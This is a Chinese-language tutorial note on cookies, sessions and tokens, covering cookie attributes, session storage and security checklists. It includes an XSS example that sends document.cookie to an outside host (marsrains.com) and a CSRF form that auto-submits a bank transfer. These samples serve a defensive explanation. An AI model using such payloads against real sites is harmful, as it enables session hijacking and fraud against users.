Cookie

Cookie是什么

服务器发送到用户浏览器并保存在本地的一小块数据，并且浏览器会在后续请求中自动携带cookie发送给服务器

Cookie的属性及其作用

Set-Cookie: session_id=abc123; ①
            Path=/;②
            Domain=example.com;③
            Max-Age=3600;④
            Secure;⑤
            HttpOnly;⑥
            SameSite=Lax⑦

• ①设置cookie的名称是abc123
• ②表示在这个网站的所有路径下都有效
• ③在example.com的及其所有子域名下都有效
• ④有效时长是3600秒
  注：如果属性为expires则为绝对时间 格式为：Expires=Sun,4 Jan 2026 9:40:08 GMT；
  如果都未设置，则为回话cookie（浏览器关闭就会删除）
• ⑤只能通过https传输
• ⑥禁止javascript通过document.cookie访问cookie（防止xss攻击）
  xss攻击：在网页注入恶意javascript代码来窃取用户信息
• ⑦防止CSRF攻击：跨站请求中不发送此cookie
  Strict:完全禁止跨站发送
  Lax:部分允许
  None:允许跨站发送（必须配合secure）

Cookie的限制

• 大小：每个cookie最大约4KB
• 数量：域名约20-50个cookie
• 总大小：每个域名的所有cookie总大小约4KB
• 安全性：可能被窃取或篡改

Session

session定义

服务器端的会话机制，来存储用户的会话数据，存储在服务器

存储方式

1.内存存储

• 服务器内存
• 速度快
• 重启后丢失
• 不适合多服务器文件存储

2.文件存储

• 在服务器文件系统中
• 持久化
• 速度慢
• 定期清理

3.数据库存储

• 在数据库中
• 持久化
• 可多服务器
• 速度取决于数据库性能

4.缓存存储（推荐）

• 在缓存系统中
• 速度快
• 可多服务器
• 可设置过期时间

Session替代方案：Token（令牌）

优点：

• 无状态，服务器不需要存储
• 适合分布式
• 支持跨域
• 移动应用友好

缺点：

• 占用较大
• 无法主动失效
• 客户端要存储

深层安全问题

Cookie

对于未开HttpOnly实施攻击的简单脚本

// 攻击者注入的恶意脚本
<script>
// 窃取 Cookie
var stolen = document.cookie;
// 发送到攻击者服务器
fetch('https://marsrains.com/steal?cookie=' + stolen);
</script>

Secure属性：防止中间人攻击

说白了就是只在https链接中发送

app.use((req, res, next) => {
    if (!req.secure && req.get('x-forwarded-proto') !== 'https') {
        return res.redirect('https://' + req.get('host') + req.url);
    }
    next();
});

// 设置 Secure Cookie
res.cookie('session_id', sessionId, {
    secure: true,  // 只在 HTTPS 中传输
    httpOnly: true
});

// 设置 HSTS 头
res.set('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');

SameSite属性：防止CSRF攻击

CSRF攻击实例：

<!-- 攻击者网站 marsrains.com -->
<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="10000">
</form>
<script>
  document.forms[0].submit();
</script>

• Strict（最严格）：从外部链接访问网站时需要重新登录
• Lax（推荐）
• None（需要Secure配合）：适合跨域认证和第三方服务集成

Session：攻击手段重点就在Session_ID

Token认证的安全考虑

Token泄露

// 危险：存储在 localStorage
localStorage.setItem(‘token’, jwt); // 容易被 XSS 窃取

// 更安全：存储在 HttpOnly Cookie
res.cookie(‘token’, jwt, {
httpOnly: true,
secure: true,
sameSite: ‘strict’
});

Token无法主动失效

未失效的token可以重点强行爆破，具体可以去看CSDN

安全最佳实践总结

Cookie 安全检查清单

• 所有认证 Cookie 使用 HttpOnly
• 所有 Cookie 使用 Secure（强制 HTTPS）
• 根据场景选择合适的 SameSite 值
• 设置合理的过期时间
• 不在 Cookie 中存储敏感信息
• 使用 __Host- 或 __Secure- 前缀
• 定期轮换 Cookie 值

Session 安全检查清单

• 使用加密安全的随机数生成 Session ID
• Session ID 长度至少 128 位
• 登录成功后重新生成 Session ID
• 实现空闲超时和绝对超时
• 使用 Redis 等安全存储
• 绑定 User-Agent 等额外验证
• 记录异常的 Session 活动
• 提供安全的登出功能
• 敏感操作要求重新认证

Token 安全检查清单

• 使用强密钥签名 JWT
• 设置合理的过期时间
• 不在 Token 中存储敏感信息
• 实现 Token 刷新机制
• 使用黑名单处理登出
• 验证 Token 的签名和过期时间
• 使用 HTTPS 传输 Token
• 考虑使用 HttpOnly Cookie 存储